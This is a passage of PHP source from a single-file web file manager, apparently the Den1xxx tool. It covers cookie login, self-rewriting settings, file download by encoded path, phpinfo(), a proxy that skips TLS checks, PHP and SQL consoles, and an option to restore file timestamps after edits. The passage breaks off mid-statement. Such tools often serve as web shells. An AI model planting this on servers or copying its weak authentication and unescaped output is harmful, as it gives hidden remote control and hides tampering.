			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
